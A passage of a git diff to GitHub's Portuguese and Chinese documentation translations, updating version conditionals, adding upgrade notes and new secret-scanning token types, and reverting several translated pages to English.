repository](/articles/cloning-a-repository)." -Para fazer modificações locais em um gist e fazer o push delas na Web, é possível clonar um gist e fazer commits, assim como em qualquer repositório Git. Para obter mais informações, consulte "[Clonar um repositório](/articles/cloning-a-repository)". +![Gist clone button](/assets/images/help/gist/gist_clone_btn.png) -![Botão gist clone (clonar)](/assets/images/help/gist/gist_clone_btn.png) +## Viewing gist commit history -## Visualizar o histórico de commits do gist +To view a gist's full commit history, click the "Revisions" tab at the top of the gist. -Para visualizar o histórico completo de commits do gist, clique em "Revisions" (Revisões) na parte superior do gist. +![Gist revisions tab](/assets/images/help/gist/gist_revisions_tab.png) -![Aba gist revisions (revisões)](/assets/images/help/gist/gist_revisions_tab.png) +You will see a full commit history for the gist with diffs. -Você verá o histórico completo do gist com os diffs. - -![Página gist revisions (revisões)](/assets/images/help/gist/gist_history.png) +![Gist revisions page](/assets/images/help/gist/gist_history.png) diff --git a/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md index 3765400734..0d23b4dbc8 100644 --- a/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md +++ b/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -434,7 +434,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." | `runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). | `runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} @@ -605,7 +605,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." | `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." | `remove_topic` | Triggered when a repository admin removes a topic from a repository. -| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index 0209187eda..1ac3ee3211 100644 --- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -40,7 +40,7 @@ Protected branch rules that mention a special character, such as `*`, `?`, or `] To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. -For more information about each of each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." +For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." ## Creating a branch protection rule diff --git a/translations/pt-BR/data/features/actions-runner-arch-envvars.yml b/translations/pt-BR/data/features/actions-runner-arch-envvars.yml index 66ced1151a..b6f74f6df2 100644 --- a/translations/pt-BR/data/features/actions-runner-arch-envvars.yml +++ b/translations/pt-BR/data/features/actions-runner-arch-envvars.yml @@ -5,4 +5,4 @@ versions: fpt: '*' ghec: '*' ghes: '>=3.4' - ghae: 'ghae-issue-5727' + ghae: 'issue-5727' diff --git a/translations/pt-BR/data/features/keyboard-shortcut-accessibility-setting.yml b/translations/pt-BR/data/features/keyboard-shortcut-accessibility-setting.yml index 7f7cf9d11b..41c2f3dac8 100644 --- a/translations/pt-BR/data/features/keyboard-shortcut-accessibility-setting.yml +++ b/translations/pt-BR/data/features/keyboard-shortcut-accessibility-setting.yml @@ -4,5 +4,5 @@ versions: fpt: '*' ghes: '>=3.4' - ghae: 'ghae-issue-5430' + ghae: 'issue-5430' ghec: '*' diff --git a/translations/pt-BR/data/reusables/actions/actions-audit-events-workflow.md b/translations/pt-BR/data/reusables/actions/actions-audit-events-workflow.md index 7613cef93c..eb72969b3e 100644 --- a/translations/pt-BR/data/reusables/actions/actions-audit-events-workflow.md +++ b/translations/pt-BR/data/reusables/actions/actions-audit-events-workflow.md @@ -1,12 +1,12 @@ -| Ação | Descrição | -| ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `cancel_workflow_run` | Acionada quando uma execução do fluxo de trabalho foi cancelada. Para obter mais informações, consulte "[Cancelando um fluxo de trabalho](/actions/managing-workflow-runs/canceling-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `completed_workflow_run` | Acionada quando um status de fluxo de trabalho é alterado para `concluído`. Só pode ser visto usando a API REST; não visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `created_workflow_run` | Acionada quando uma execução do fluxo de trabalho é criada. Só pode ser visto usando a API REST; não visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Criar um exemplo de um fluxo de trabalho](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `delete_workflow_run` | Acionada quando a execução do fluxo de trabalho é excluída. Para obter mais informações, consulte "[Excluir uma execução de fluxo de trabalho](/actions/managing-workflow-runs/deleting-a-workflow-run)". | -| `disable_workflow` | Acionada quando um fluxo de trabalho está desabilitado. | -| `enable_workflow` | Acionada quando um fluxo de trabalho é habilitado, depois de previamente desabilitado por `disable_workflow`. | -| `rerun_workflow_run` | Acionada quando uma execução do fluxo de trabalho é executada novamente. Para obter mais informações, consulte "[Executar novamente um fluxo de trabalho](/actions/managing-workflow-runs/re-running-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `prepared_workflow_job` | Acionada quando um trabalho no fluxo de trabalho é iniciado. Inclui a lista de segredos que foram fornecidos ao trabalho. Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. Para obter mais informações, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `approve_workflow_job` | Acionada quando um trabalho no fluxo de trabalho foi aprovado. Para obter mais informações, consulte "[Revisando implantações](/actions/managing-workflow-runs/reviewing-deployments)." | -| `reject_workflow_job` | Acionada quando um trabalho no fluxo de trabalho foi rejeitado. Para obter mais informações, consulte "[Revisando implantações](/actions/managing-workflow-runs/reviewing-deployments)".{% endif %} +| Ação | Descrição | +| ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `cancel_workflow_run` | Acionada quando uma execução do fluxo de trabalho foi cancelada. Para obter mais informações, consulte "[Cancelando um fluxo de trabalho](/actions/managing-workflow-runs/canceling-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `completed_workflow_run` | Acionada quando um status de fluxo de trabalho é alterado para `concluído`. Só pode ser visto usando a API REST; não visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `created_workflow_run` | Acionada quando uma execução do fluxo de trabalho é criada. Só pode ser visto usando a API REST; não visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Criar um exemplo de um fluxo de trabalho](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `delete_workflow_run` | Acionada quando a execução do fluxo de trabalho é excluída. Para obter mais informações, consulte "[Excluir uma execução de fluxo de trabalho](/actions/managing-workflow-runs/deleting-a-workflow-run)". | +| `disable_workflow` | Acionada quando um fluxo de trabalho está desabilitado. | +| `enable_workflow` | Acionada quando um fluxo de trabalho é habilitado, depois de previamente desabilitado por `disable_workflow`. | +| `rerun_workflow_run` | Acionada quando uma execução do fluxo de trabalho é executada novamente. Para obter mais informações, consulte "[Executar novamente um fluxo de trabalho](/actions/managing-workflow-runs/re-running-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `prepared_workflow_job` | Acionada quando um trabalho no fluxo de trabalho é iniciado. Inclui a lista de segredos que foram fornecidos ao trabalho. Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. Para obter mais informações, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `approve_workflow_job` | Acionada quando um trabalho no fluxo de trabalho foi aprovado. Para obter mais informações, consulte "[Revisando implantações](/actions/managing-workflow-runs/reviewing-deployments)." | +| `reject_workflow_job` | Acionada quando um trabalho no fluxo de trabalho foi rejeitado. Para obter mais informações, consulte "[Revisando implantações](/actions/managing-workflow-runs/reviewing-deployments)".{% endif %} diff --git a/translations/pt-BR/data/reusables/enterprise/upgrade-ghes-for-actions.md b/translations/pt-BR/data/reusables/enterprise/upgrade-ghes-for-actions.md new file mode 100644 index 0000000000..6833ff6dc0 --- /dev/null +++ b/translations/pt-BR/data/reusables/enterprise/upgrade-ghes-for-actions.md @@ -0,0 +1,3 @@ +{% ifversion ghes < 3.3 %} +{% data variables.product.prodname_actions %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_actions %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +{% endif %} diff --git a/translations/pt-BR/data/reusables/enterprise/upgrade-ghes-for-features.md b/translations/pt-BR/data/reusables/enterprise/upgrade-ghes-for-features.md new file mode 100644 index 0000000000..fb2c9a733e --- /dev/null +++ b/translations/pt-BR/data/reusables/enterprise/upgrade-ghes-for-features.md @@ -0,0 +1,5 @@ +{% note %} + +**Note:** Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements. + +{% endnote %} \ No newline at end of file diff --git a/translations/pt-BR/data/reusables/gated-features/ghas.md b/translations/pt-BR/data/reusables/gated-features/ghas.md index cf5d023b9f..0f74920694 100644 --- a/translations/pt-BR/data/reusables/gated-features/ghas.md +++ b/translations/pt-BR/data/reusables/gated-features/ghas.md @@ -1 +1 @@ -{% data variables.product.prodname_GH_advanced_security %} is available for enterprise accounts on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %} is also included in all public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %} For more information, see "[About GitHub's products](/github/getting-started-with-github/githubs-products)." +{% data variables.product.prodname_GH_advanced_security %} is available for enterprise accounts on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %} 3.0 or higher.{% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %} is also included in all public repositories on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About GitHub's products](/github/getting-started-with-github/githubs-products)."{% else %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} diff --git a/translations/pt-BR/data/reusables/gated-features/packages.md b/translations/pt-BR/data/reusables/gated-features/packages.md index 82acbadc2c..e769330755 100644 --- a/translations/pt-BR/data/reusables/gated-features/packages.md +++ b/translations/pt-BR/data/reusables/gated-features/packages.md @@ -1,4 +1,4 @@ -{% data variables.product.prodname_registry %} está disponível com {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} para organizações, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} e {% data variables.product.prodname_ghe_managed %}. +{% data variables.product.prodname_registry %} is available with {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} 3.0 or higher, and {% data variables.product.prodname_ghe_managed %}.{% ifversion ghes %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} {% ifversion fpt or ghec %}
    O {% data variables.product.prodname_registry %} não está disponível para repositórios privados de contas que utilizam planos antigos por-repositório. Além disso, as contas que usam os planos de legado por repositório não podem acessar o {% data variables.product.prodname_container_registry %} já que essas contas são cobradas por repositório. {% data reusables.gated-features.more-info %} diff --git a/translations/pt-BR/data/reusables/secret-scanning/beta.md b/translations/pt-BR/data/reusables/secret-scanning/beta.md index ae7fee3c66..362055fead 100644 --- a/translations/pt-BR/data/reusables/secret-scanning/beta.md +++ b/translations/pt-BR/data/reusables/secret-scanning/beta.md @@ -3,6 +3,9 @@ **Observação:** {% data variables.product.prodname_secret_scanning_caps %} para repositórios pertencentes à organização, está atualmente na versão beta e sujeita a alterações. +If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_secret_scanning %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. + + {% endnote %} {% endif %} @@ -10,7 +13,7 @@ {% note %} -**Observação:** {% data variables.product.prodname_secret_scanning_caps %} estava em beta em {% data variables.product.prodname_ghe_server %} 3.0. Para a versão geral disponível de {% data variables.product.prodname_secret_scanning %}, faça a atualização para a versão mais recente de {% data variables.product.prodname_ghe_server %}. +**Observação:** {% data variables.product.prodname_secret_scanning_caps %} estava em beta em {% data variables.product.prodname_ghe_server %} 3.0. Para a versão geral disponível de {% data variables.product.prodname_secret_scanning %}, faça a atualização para a versão mais recente de {% data variables.product.prodname_ghe_server %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. {% endnote %} diff --git a/translations/pt-BR/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/pt-BR/data/reusables/secret-scanning/partner-secret-list-private-repo.md index d3067c8c01..87bf017581 100644 --- a/translations/pt-BR/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/translations/pt-BR/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -81,6 +81,8 @@ Google | Google OAuth Access Token | google_oauth_access_token{% endif %} Google | Google OAuth Client ID | google_oauth_client_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Google | Google OAuth Refresh Token | google_oauth_refresh_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Grafana | Grafana API Key | grafana_api_key{% endif %} Hashicorp Terraform | Terraform Cloud / Enterprise API Token | terraform_api_token Hubspot | Hubspot API Key | hubspot_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -114,7 +116,11 @@ New Relic | New Relic REST API Key | new_relic_rest_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} New Relic | New Relic Insights Query Key | new_relic_insights_query_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} -New Relic | New Relic License Key | new_relic_license_key{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key +New Relic | New Relic License Key | new_relic_license_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion Integration Token | notion_integration_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion OAuth Client Secret | notion_oauth_client_secret{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Onfido | Onfido Live API Token | onfido_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -146,6 +152,8 @@ Shippo | Shippo Live API Token | shippo_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token Shopify | Shopify Private App Password | shopify_private_app_password Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url {%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Access Token | square_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} Square | Square Production Application Secret | square_production_application_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Square | Square Sandbox Application Secret | square_sandbox_application_secret{% endif %} SSLMate | SSLMate API Key | sslmate_api_key SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret Stripe | Stripe API Key | stripe_api_key diff --git a/translations/pt-BR/data/variables/enterprise.yml b/translations/pt-BR/data/variables/enterprise.yml index c628dc4c0c..ce0348c44c 100644 --- a/translations/pt-BR/data/variables/enterprise.yml +++ b/translations/pt-BR/data/variables/enterprise.yml @@ -1,2 +1,4 @@ --- management_console: 'Console de gerenciamento' +#https://support.github.com/enterprise/server-upgrade +upgrade_assistant: 'Upgrade assistant' diff --git a/translations/pt-BR/data/variables/gists.yml b/translations/pt-BR/data/variables/gists.yml index cb7127d863..2973c08309 100644 --- a/translations/pt-BR/data/variables/gists.yml +++ b/translations/pt-BR/data/variables/gists.yml @@ -1,7 +1,7 @@ --- gist_homepage: >- - {% ifversion fpt or ghec %}[página principal do gist](https://gist.github.com/){% elsif ghae %}página principal del gist, `http(s)://gist.[nome de host)`,{% else %}página principal do gist, `http(s)://[hostname]/gist` o `http(s)://gist.[hostname]` se os subdomínios são habilitados{% endif %} + {% ifversion fpt or ghec %}[gist home page](https://gist.github.com/){% elsif ghae %}gist home page, `http(s)://gist.[hostname]`{% else %}gist home page, `http(s)://[hostname]/gist` or `http(s)://gist.[hostname]` if subdomains are enabled{% endif %} gist_search_url: >- - {% ifversion fpt or ghec %}[Pesquisa de Gists](https://gist.github.com/search){% elsif ghae %}Pesquisa de Gists, `http(s)://gist.[hostname]/search`,{% else %}Búsqueda de Gists, `http(s)://[hostname]/gist/search` o `http(s)://gist.[hostname]/search` se os subdomínios estiverem habilitados{% endif %} + {% ifversion fpt or ghec %}[Gist Search](https://gist.github.com/search){% elsif ghae %}Gist Search, `http(s)://gist.[hostname]/search`{% else %}Gist Search, `http(s)://[hostname]/gist/search` or `http(s)://gist.[hostname]/search` if subdomains are enabled{% endif %} discover_url: >- - {% ifversion fpt or ghec %}[Discover](https://gist.github.com/discover){% elsif ghae %}Descubra, `http(s)://gist.[hostname]/discover`,{% else %}Descubra, `http(s)://[hostname]/gist/discover` o `http(s)://gist.[hostname]/discover` se os subdomínios estiverem habilitados{% endif %} + {% ifversion fpt or ghec %}[Discover](https://gist.github.com/discover){% elsif ghae %}Discover, `http(s)://gist.[hostname]/discover`{% else %}Discover, `http(s)://[hostname]/gist/discover` or `http(s)://gist.[hostname]/discover` if subdomains are enabled{% endif %} diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md index 8ca5bdfcbb..9171475df9 100644 --- a/translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md +++ b/translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md @@ -1,10 +1,10 @@ --- -title: 跳过工作流程运行 +title: Skipping workflow runs intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message. versions: fpt: '*' ghes: '*' - ghae: ghae-next + ghae: next ghec: '*' shortTitle: Skip workflow runs --- @@ -21,14 +21,14 @@ Workflows that would otherwise be triggered using `on: push` or `on: pull_reques * `[skip actions]` * `[actions skip]` -或者,您也可以使用两个空行后接 `skip-checks: true` 或 `skip-checks:true` 来结束提交消息。 +Alternatively, you can end the commit message with two empty lines followed by either `skip-checks: true` or `skip-checks:true`. -如果您的仓库配置为需要先通过特定检查,则无法合并拉取请求。 要允许合并拉取请求,您可以将新提交推送到拉取请求,而无需提交消息中的跳过指令。 +You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message. {% note %} -**注意:**跳过指令仅适用于 `push` 和 `pull_request` 事件。 例如,将 `[skip ci]` 添加到提交消息不会停止触发 `on: pull_request_target` 的工作流程运行。 +**Note:** Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running. {% endnote %} -Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. 更多信息请参阅“[禁用和启用工作流程](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)。 +Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)." diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md index 401f00d978..1b2f2dc9e6 100644 --- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md +++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md @@ -1,28 +1,29 @@ --- -title: 查看作业执行时间 -intro: 您可以查看作业的执行时间,包括某个作业累积的可计费分钟数。 +title: Viewing job execution time +intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.' redirect_from: - /actions/managing-workflow-runs/viewing-job-execution-time versions: fpt: '*' ghec: '*' -shortTitle: 查看作业执行时间 +shortTitle: View job execution time --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -仅为在私有仓库上运行,使用 {% data variables.product.prodname_dotcom %}- 托管的运行器的作业显示可计费作业执行分钟数。 如果在公共仓库中使用 {% data variables.product.prodname_actions %},或在自托管的运行器中运行作业时,将没有可计费分钟数。 +Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} -1. 在作业摘要下,您可以查看作业的执行时间。 要查看有关计费作业执行时间的详细信息,请单击 **Billable time(计费时间)**下的时间。 ![运行和可计费时间详细信息链接](/assets/images/help/repository/view-run-billable-time.png) +1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**. + ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png) {% note %} - - **注意:**显示的可计费时间不包括任何四舍五入或分钟乘数。 要查看您的 {% data variables.product.prodname_actions %} 总使用情况,包括四舍五入和分钟乘法,请参阅"[查看您的 {% data variables.product.prodname_actions %} 使用情况](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)。" - + + **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)." + {% endnote %} diff --git a/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md index 960d39438e..52ed166394 100644 --- a/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md +++ b/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: GitHub Actions 的安全强化 -shortTitle: 安全强化 -intro: '使用 {% data variables.product.prodname_actions %} 功能的良好安全实践。' +title: Security hardening for GitHub Actions +shortTitle: Security hardening +intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.' redirect_from: - /actions/getting-started-with-github-actions/security-hardening-for-github-actions - /actions/learn-github-actions/security-hardening-for-github-actions @@ -20,58 +20,58 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 概览 +## Overview -本指南介绍如何为某些 {% data variables.product.prodname_actions %} 功能配置安全强化。 如果不熟悉 {% data variables.product.prodname_actions %} 概念,请参阅“[GitHub 操作的核心概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)”。 +This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are 